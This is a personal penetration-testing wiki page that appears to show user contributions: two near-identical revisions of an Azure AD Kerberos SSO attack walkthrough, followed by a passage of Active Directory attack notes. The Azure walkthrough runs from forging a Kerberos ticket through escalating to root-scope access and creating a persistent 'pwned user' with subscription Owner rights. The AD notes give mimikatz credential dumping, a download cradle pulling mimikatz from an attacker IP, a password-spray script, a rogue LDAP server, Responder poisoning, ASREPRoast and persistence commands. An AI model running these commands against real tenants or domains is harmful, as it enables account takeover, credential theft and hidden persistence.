Wiki Aghanim - User contributions [en]

Handbook III - Cloud

2026-06-23T09:55:00Z

Administrator: /* Step 3 — Forge Kerberos Ticket */

== Entra ID (Azure) ==

Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)]

[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]

[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]

* How to use Graph API for C2 communication

*

[[Category:Handbooks]]

== Azure Administrative Tiering (AzTier) ==
https://aztier.com/

== Azure AD Kerberos SSO Attack — Pentest Notes ==

=== Source ===
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud azure-ad-kerberos-tickets-pivoting-to-the-cloud]

=== Prerequisites ===
* Domain Admin / DC access
* <code>AZUREADSSOACC$</code> NTLM hash extracted via SecretsDump
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient

=== Tool Installation ===
<syntaxhighlight lang="powershell">
Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
Import-Module -Name "AADInternals"
</syntaxhighlight>

<syntaxhighlight lang="bash">
pip install roadrecon --break-system-packages
</syntaxhighlight>

=== Step 1 — Confirm SSO Enabled ===
<syntaxhighlight lang="powershell">
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table
# Look for DesktopSSO: True
</syntaxhighlight>

=== Step 2 — Enumerate Accounts via rpcclient ===
<syntaxhighlight lang="bash">
# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity.
rpcclient -U "domain/user%password" <DC_IP>
enumdomusers
lookupnames <username>
</syntaxhighlight>

=== Step 3 — Forge Kerberos Ticket ===
<syntaxhighlight lang="powershell">
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Use SID for a user that is synced between Azure AD and local Active Directory.
$kerberos=NewAADIntKerberosTicket -SidString <Internal AD SID> -Hash <SSOACC$ NTLM Hash>
</syntaxhighlight>

=== Step 4 — Get Access Tokens ===

'''Important: each tool needs a different token audience'''

{| class="wikitable"
! Tool !! Audience !! AADInternals Command
|-
| roadrecon gather || <code>https://graph.windows.net</code> || <code>Get-AADIntAccessTokenForAADGraph</code>
|-
| Connect-MgGraph / Get-MgUser || <code>https://graph.microsoft.com</code> || <code>Get-AADIntAccessTokenForMSGraph</code>
|-
| Azure Core Management || <code>https://management.core.windows.net/</code> || <code>Get-AADIntAccessTokenForAzureCoreManagement</code>
|}

<syntaxhighlight lang="powershell">
# Get all three and save to cache
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
</syntaxhighlight>

=== Step 5 — Enumerate Azure AD with ROADrecon ===
<syntaxhighlight lang="bash">
roadrecon auth --access-token <AADGraph_token>
roadrecon gather -f .roadtools_auth
roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP
</syntaxhighlight>

=== Step 6 — Connect Microsoft Graph & Check Context ===
<syntaxhighlight lang="powershell">
# Connect using MSGraph token
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)

# Check current session context and user
$me = Get-MgContext
Write-Output $me

# List all scopes/permissions granted to the token
(Get-MgContext).Scopes
</syntaxhighlight>

=== Step 7 — Check Token Permissions ===
<syntaxhighlight lang="powershell">
# Decode token — check scp, roles, wids, aud, upn claims
Read-AADIntAccessToken -AccessToken <token>
</syntaxhighlight>

Decode at '''jwt.ms''' for a clean readable view.

{| class="wikitable"
! Claim !! Meaning
|-
| <code>scp</code> || Delegated scopes e.g. Directory.Read.All
|-
| <code>roles</code> || Application role assignments
|-
| <code>wids</code> || Directory role GUIDs (Global Admin etc.)
|-
| <code>aud</code> || Which API this token is valid for
|-
| <code>upn</code> || Which user this token belongs to
|}

=== Step 8 — Escalate to Global Admin ===
<syntaxhighlight lang="powershell">
# Impersonate ADSync account (high value — has directory sync rights by design)
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache

# Elevate to User Access Administrator at root scope
Grant-AADIntAzureUserAccessAdminRole

# Verify subscription access
Get-AADIntAzureSubscriptions
</syntaxhighlight>

=== Step 9 — Create Persistent Cloud User ===
<syntaxhighlight lang="powershell">
# Note the ObjectID in the output
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"

# Assign subscription ownership
$subScope = "subscriptions/<subscription_id>"
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope
</syntaxhighlight>

Handbook III - Cloud

2026-06-23T09:54:26Z

Administrator: /* Azure AD Kerberos SSO Attack — Pentest Notes */

== Entra ID (Azure) ==

Certification: [https://www.alteredsecurity.com/cartp-bootcamp Attacking & Defending Azure Cloud: Beginner's Edition (CARTP) (alteredsecurity.com)]

[https://learn.microsoft.com/en-us/training/entra/ Microsoft Entra ID on Microsoft Learn | Microsoft Learn]

[https://microsoft.github.io/PartnerResources/skilling/microsoft-security-academy/entra-academy Microsoft Entra Academy]

* How to use Graph API for C2 communication

*

[[Category:Handbooks]]

== Azure Administrative Tiering (AzTier) ==
https://aztier.com/

== Azure AD Kerberos SSO Attack — Pentest Notes ==

=== Source ===
[https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud azure-ad-kerberos-tickets-pivoting-to-the-cloud]

=== Prerequisites ===
* Domain Admin / DC access
* <code>AZUREADSSOACC$</code> NTLM hash extracted via SecretsDump
* Target account SID (synced to Azure AD, preferably no MFA/Conditional Access)
* Tools: AADInternals, ROADtools, SecretsDump, rpcclient

=== Tool Installation ===
<syntaxhighlight lang="powershell">
Install-Module -Name "AADInternals"
Install-Module -Name "AADInternals-Endpoints"
Import-Module -Name "AADInternals"
</syntaxhighlight>

<syntaxhighlight lang="bash">
pip install roadrecon --break-system-packages
</syntaxhighlight>

=== Step 1 — Confirm SSO Enabled ===
<syntaxhighlight lang="powershell">
Invoke-AADIntReconAsOutsider -Domain domain.com | Format-Table
# Look for DesktopSSO: True
</syntaxhighlight>

=== Step 2 — Enumerate Accounts via rpcclient ===
<syntaxhighlight lang="bash">
# If you don't have BloodHound data, enumerate the user via rpcclient. Usually, this does not get detected by defender for identity.
rpcclient -U "domain/user%password" <DC_IP>
enumdomusers
lookupnames <username>
</syntaxhighlight>

=== Step 3 — Forge Kerberos Ticket ===
<syntaxhighlight lang="powershell">
# NTLM hash = NT part only (32 chars after last colon from SecretsDump)
# SID format must be full: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
# Use SID for a user that is synced between Azure AD and local Active Directory.
$kerberos = New-AADIntKerberosTicket -SidString "<AD_SID>" -Hash "<NTLM_Hash>"
</syntaxhighlight>

=== Step 4 — Get Access Tokens ===

'''Important: each tool needs a different token audience'''

{| class="wikitable"
! Tool !! Audience !! AADInternals Command
|-
| roadrecon gather || <code>https://graph.windows.net</code> || <code>Get-AADIntAccessTokenForAADGraph</code>
|-
| Connect-MgGraph / Get-MgUser || <code>https://graph.microsoft.com</code> || <code>Get-AADIntAccessTokenForMSGraph</code>
|-
| Azure Core Management || <code>https://management.core.windows.net/</code> || <code>Get-AADIntAccessTokenForAzureCoreManagement</code>
|}

<syntaxhighlight lang="powershell">
# Get all three and save to cache
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache
</syntaxhighlight>

=== Step 5 — Enumerate Azure AD with ROADrecon ===
<syntaxhighlight lang="bash">
roadrecon auth --access-token <AADGraph_token>
roadrecon gather -f .roadtools_auth
roadrecon gui # Web UI on port 5000 — ensure attack box is not on public IP
</syntaxhighlight>

=== Step 6 — Connect Microsoft Graph & Check Context ===
<syntaxhighlight lang="powershell">
# Connect using MSGraph token
$mgToken = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com
Connect-MgGraph -AccessToken (ConvertTo-SecureString $mgToken -AsPlainText -Force)

# Check current session context and user
$me = Get-MgContext
Write-Output $me

# List all scopes/permissions granted to the token
(Get-MgContext).Scopes
</syntaxhighlight>

=== Step 7 — Check Token Permissions ===
<syntaxhighlight lang="powershell">
# Decode token — check scp, roles, wids, aud, upn claims
Read-AADIntAccessToken -AccessToken <token>
</syntaxhighlight>

Decode at '''jwt.ms''' for a clean readable view.

{| class="wikitable"
! Claim !! Meaning
|-
| <code>scp</code> || Delegated scopes e.g. Directory.Read.All
|-
| <code>roles</code> || Application role assignments
|-
| <code>wids</code> || Directory role GUIDs (Global Admin etc.)
|-
| <code>aud</code> || Which API this token is valid for
|-
| <code>upn</code> || Which user this token belongs to
|}

=== Step 8 — Escalate to Global Admin ===
<syntaxhighlight lang="powershell">
# Impersonate ADSync account (high value — has directory sync rights by design)
$kerberos = New-AADIntKerberosTicket -SidString "<ADSync_SID>" -Hash "<NTLM_Hash>"
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache

# Elevate to User Access Administrator at root scope
Grant-AADIntAzureUserAccessAdminRole

# Verify subscription access
Get-AADIntAzureSubscriptions
</syntaxhighlight>

=== Step 9 — Create Persistent Cloud User ===
<syntaxhighlight lang="powershell">
# Note the ObjectID in the output
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName "pwned user"

# Assign subscription ownership
$subScope = "subscriptions/<subscription_id>"
New-AzRoleAssignment -ObjectID <ObjectID> -RoleDefinitionName "Owner" -Scope $subScope
</syntaxhighlight>

Offensive Security/Active Directory

2026-06-11T08:29:11Z

Administrator: /* Pivoting */

[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]

These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.

Inspo:

<syntaxhighlight lang="bash">
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/
E's methodology
https://zer1t0.gitlab.io/posts/attacking_ad/
https://bitbin.it/SKZrPTcu/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
https://book.hacktricks.xyz/
</syntaxhighlight>

'''Work in progress'''

= References Matrix =

[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]

{| class="wikitable"
|-
! Name
! Explanation
! Tools/attack example
|-
| Unconstrained delegation
| Allows a service to delegate user credentials to any service on any computer.
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.
|-
| Constrained delegation
| Allows delegation only to specific services.
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.
|-
| Resource-based constrained delegation
| Delegation rights are set on the resource's ACL, allowing greater flexibility in specifying delegation.
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.
|-
| mimikatz.exe
| Dump hashes and credentials from memory.
| mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
|-
| invoke-mimikatz
| PowerShell version of mimikatz.
| `(New-Object System.Net.WebClient).DownloadString('[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]')
|-
| invoke-mimidogz
| Obfuscated version of invoke-mimikatz to avoid AV detection.
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection
|-
| invoke-sohighsohigh
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)
|-
| SpoolSample.exe
| Coerce a computer to make an authentication in order to abuse print bug.
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.
|-
| rubeus.exe
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap
|-
| impacket-secretsdump
| Dump secrets from a remote machine's registry hives.
| secretsdump.py domain/user:password@target
|-
| impacket-krbrelayx
| Tool for relaying Kerberos authentication.
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.
|-
| impacket-mssql
| SQL server attack tool, capable of executing commands and dumping credentials.
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).
|-
| impacket-ticketconverter
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.
| ticketConverter.py <inputfile> <outputfile> to convert between kirbi and ccache formats.
|-
| ticketer.py
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.
| ticketer.py -nthash <nthash> -domain-sid <sid> -domain <domain> -user <username>
|-
| setSPN
| Set Service Principal Names for accounts to allow Kerberos authentication.
| setspn -A <SPN> <Account>
|-
| LOLBas
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.
|-
| gtfobins
| Repository of Unix binaries that can be used to bypass local security restrictions.
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.
|}

----

= LOLBAS - Living off the land =

[https://lolbas-project.github.io/ https://lolbas-project.github.io/]

= WADComs - Very useful cheatsheet =

https://wadcoms.github.io/

= Icebreaker =

[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you're on the internal network but outside the AD environment]

----

= AD Methodology =

* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.

* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.

* Escalate privilege on local machine to local administrator

* Extract hashes if possile.

* Escalate to domain admin.

[[File:2022-07-image.png|thumb]]

----

= Mindmap - Current 2025 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]

[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]

= Mindmap - Nr 2 =

[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]

= Mindmap - Nr 3 =

[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]

[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]

[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]

= Active Directory Theory =

== Object Permission (ACE, DACL, SIDs...) ==

* '''Active Directory Securable Object Permissions''': Determines who can access an AD object and what they can do with it.

* '''Discretionary Access Control List''' (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).

* '''Access Control Entry''' (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.

* '''Order of ACEs:''' If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).

* '''Security Descriptor Definition Language''' (SDDL): A string-delimited method by which ACEs are stored.

'''ACE String Example'''

<code>(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)</code>

'''Translation:'''

<code>AceType: A = ACCESS_ALLOWED_ACE_TYPE</code>

'''Access rights:'''

<syntaxhighlight lang="bash">
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL
Ace Sid: S-1-1-0
</syntaxhighlight>

'''DACL Enumeration via PowerView'''

* To Import PowerView in PowerShell:

<code>PS C:\tools> . .\powerview.ps1</code>

'''To Enumerate DACLs of a User (e.g., offsec):'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec</code>

'''To Resolve SID to a Username or Group:'''

<code>PS C:\tools> ConvertFrom-SID <SID></code>

'''Automating SID Conversion:'''

<code>PS C:\tools> Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}</code>

== Kerberos ==

=== Kerberos Authentication graph ===

[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]

[[File:2023-10-kerberos-1.gif|thumb]]

'''Background'''

* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.

* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.

=== Microsoft’s Kerberos Delegation Solutions ===

'''a) Unconstrained Delegation (2000):'''

* Overview: Allows the service to impersonate a user to any other service.

* '''Pros:'''
Simple to implement.

* '''Cons:'''
Less secure: Any service can impersonate the user without restriction.

'''b) Constrained Delegation (2003)'''

* Overview: Allows the service to impersonate a user, but only to specified services.

* '''Pros:'''
More secure than unconstrained as it limits the services to which a user can be impersonated.

* '''Cons:'''
Requires service-specific configuration.

'''c) Resource-based Constrained Delegation (2012)'''

* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.

* Requirements: Domain functional level of 2012.

* '''Pros:'''
Greater control over which accounts can impersonate users to it.

* '''Cons:'''
Requires a newer domain functional level.

=== Exploiting Kerberos Delegation: ===

'''Unconstrained Delegation Exploitation:'''

* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.

'''Constrained Delegation Exploitation:'''

* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.

'''Resource-based Constrained Delegation Exploitation:'''

* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.

=== Difference between ASREProast and Kerberoasting ===

[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]

'''AS_REP Roasting''' is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option '''Do not require Kerberos preauthentication''' set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the '''KDC''' to authenticate as that user and in return fetch a '''AS_REP''' response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.

'''Kerberoasting''' aims at asking for service tickets related to services on the network where the '''SPNs''' are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.
During the process of asking to access a service on the network, the '''TGS''' will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the '''AS_REP roasting''' attack can be cracked offline.

= Finding valid credentials =

== Pentest network ==

See [https://blog.aghanim.net/?page_id=2041 methodology]

* Try exploit vulnerabilities on open ports

* Try extract credentials from open ports

== Enumerate DNS ==

<syntaxhighlight lang="bash">
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
</syntaxhighlight>

== OSINT and Phishing ==

* Check public forums like [https://stackoverflow.com/ Stack Overflow]

* Check public repo on github

* Breached credentials. (Dehashed, intelx etc)

* Google dorking

== Null and Guest access on SMB services ==

<syntaxhighlight lang="bash">
enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p ""
smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H
smbclient -U '%' -L // && smbclient -U 'guest%' -L //
</syntaxhighlight>

== NTLM Relay attack ==

NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.

Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.

<syntaxhighlight lang="bash">
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.
It is implemented by invoking a SMB and HTTP Server

https://github.com/CCob/lsarelayx
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.

https://github.com/topotam/PetitPotam
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.

https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
Good explanation of NTLM relay.
</syntaxhighlight>

== NTLM Authenticated Services ==

New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users' identities in AD.

<syntaxhighlight lang="python">
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
</syntaxhighlight>

<syntaxhighlight lang="bash">
python ntlm_passwordspray.py -u -f -p -a
- Textfile containing our usernames - "usernames.txt"
- Fully qualified domain name associated with the organisation that we are attacking - "za.tryhackme.com"
- The password we want to use for our spraying attack - "Changeme123"
- The URL of the application that supports Windows Authentication - "http://ntlmauth.za.tryhackme.com"
</syntaxhighlight>

== LDAP ==

See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]

LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user's credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user's credentials.

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389
</syntaxhighlight>

<syntaxhighlight lang="bash">
ldapsearch -x -h 192.168.89.122 -b "dc=hutch,dc=offsec" > ldap.searchquery
</syntaxhighlight>

=== LDAP Pass-back Attack ===

In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.

<syntaxhighlight lang="bash">
# Setup rogue LDAP server
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
# Configure the rogue LDAP server
sudo dpkg-reconfigure -p low slapd
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called "olcSalSecProps.ldif":
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

olcSaslSecProps: Specifies the SASL security properties
noanonymous: Disables mechanisms that support anonymous login
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
# Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# Verify rogue LDAP servers config
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Capturing LDAP Credentials. We will have to trigger the authenticaiton to go to our rogue LDAP server.
sudo tcpdump -SX -i eth0 tcp port 389
</syntaxhighlight>

== Authentication Relays ==

Responder allows us to perform Man-in-the-Middle attacks by poisoning the responses during NetNTLM authentication, tricking the client into talking to you instead of the actual server they wanted to connect to. On a real LAN, Responder will attempt to poison any Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Servier (NBT-NS), and Web Proxy Auto-Discovery (WPAD) requests that are detected.

<syntaxhighlight lang="bash">
# https://github.com/lgandx/Responder
# Start responder
sudo responder -I tun0
# Downgrade NTLM authentication when possible. Allow capture NTLMv1 challenge and response.
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
</syntaxhighlight>

== Microsoft Deployment Toolkit ==

Microsoft Deployment Toolkit (MDT) is a Microsoft service that assists with automating the deployment of Microsoft Operating Systems (OS).

<syntaxhighlight lang="powershell">
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
Get-FindCredentials -WimFile pxeboot.wim
</syntaxhighlight>

----

----

= User enumeration =

When an '''invalid username is requested''' the server will respond using the '''Kerberos error''' code ''KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN''

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'"
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='',userdb=/root/Desktop/usernames.txt
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
nxc smb dc01.manager.htb -u anonymous -p "" --rid-brute 10000
</syntaxhighlight>

== Knowing a userame(s) ==

=== ASREPRoast ===

The ASREPRoast attack looks for '''users without Kerberos pre-authentication required attribute ('''[https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro DONT_REQ_PREAUTH]''''')'''''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast]

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

<syntaxhighlight lang="bash">
# ENUMERATE VULNERABLE USERS (NEED DOMAIN CREDS)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
------------------------------------------------------------------------
# REQUEST AS_REP MESSAGE
# Linux
# Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
# Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
# Windows
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
------------------------------------------------------------------------
# Cracking the hashes
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
------------------------------------------------------------------------
# PERSISTENCE
# Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
</syntaxhighlight>

=== Password spraying ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/password-spraying]

Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames https://github.com/insidetrust/statistically-likely-usernames]

<syntaxhighlight lang="bash">
# PASSWORD POLICY
# Need valid creds
crackmapexec -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P
(Get-DomainPolicy)."SystemAccess" #From powerview
------------------------------------------------------------------------
# LOCKOUT CHECK
# https://github.com/Greenwolf/Spray
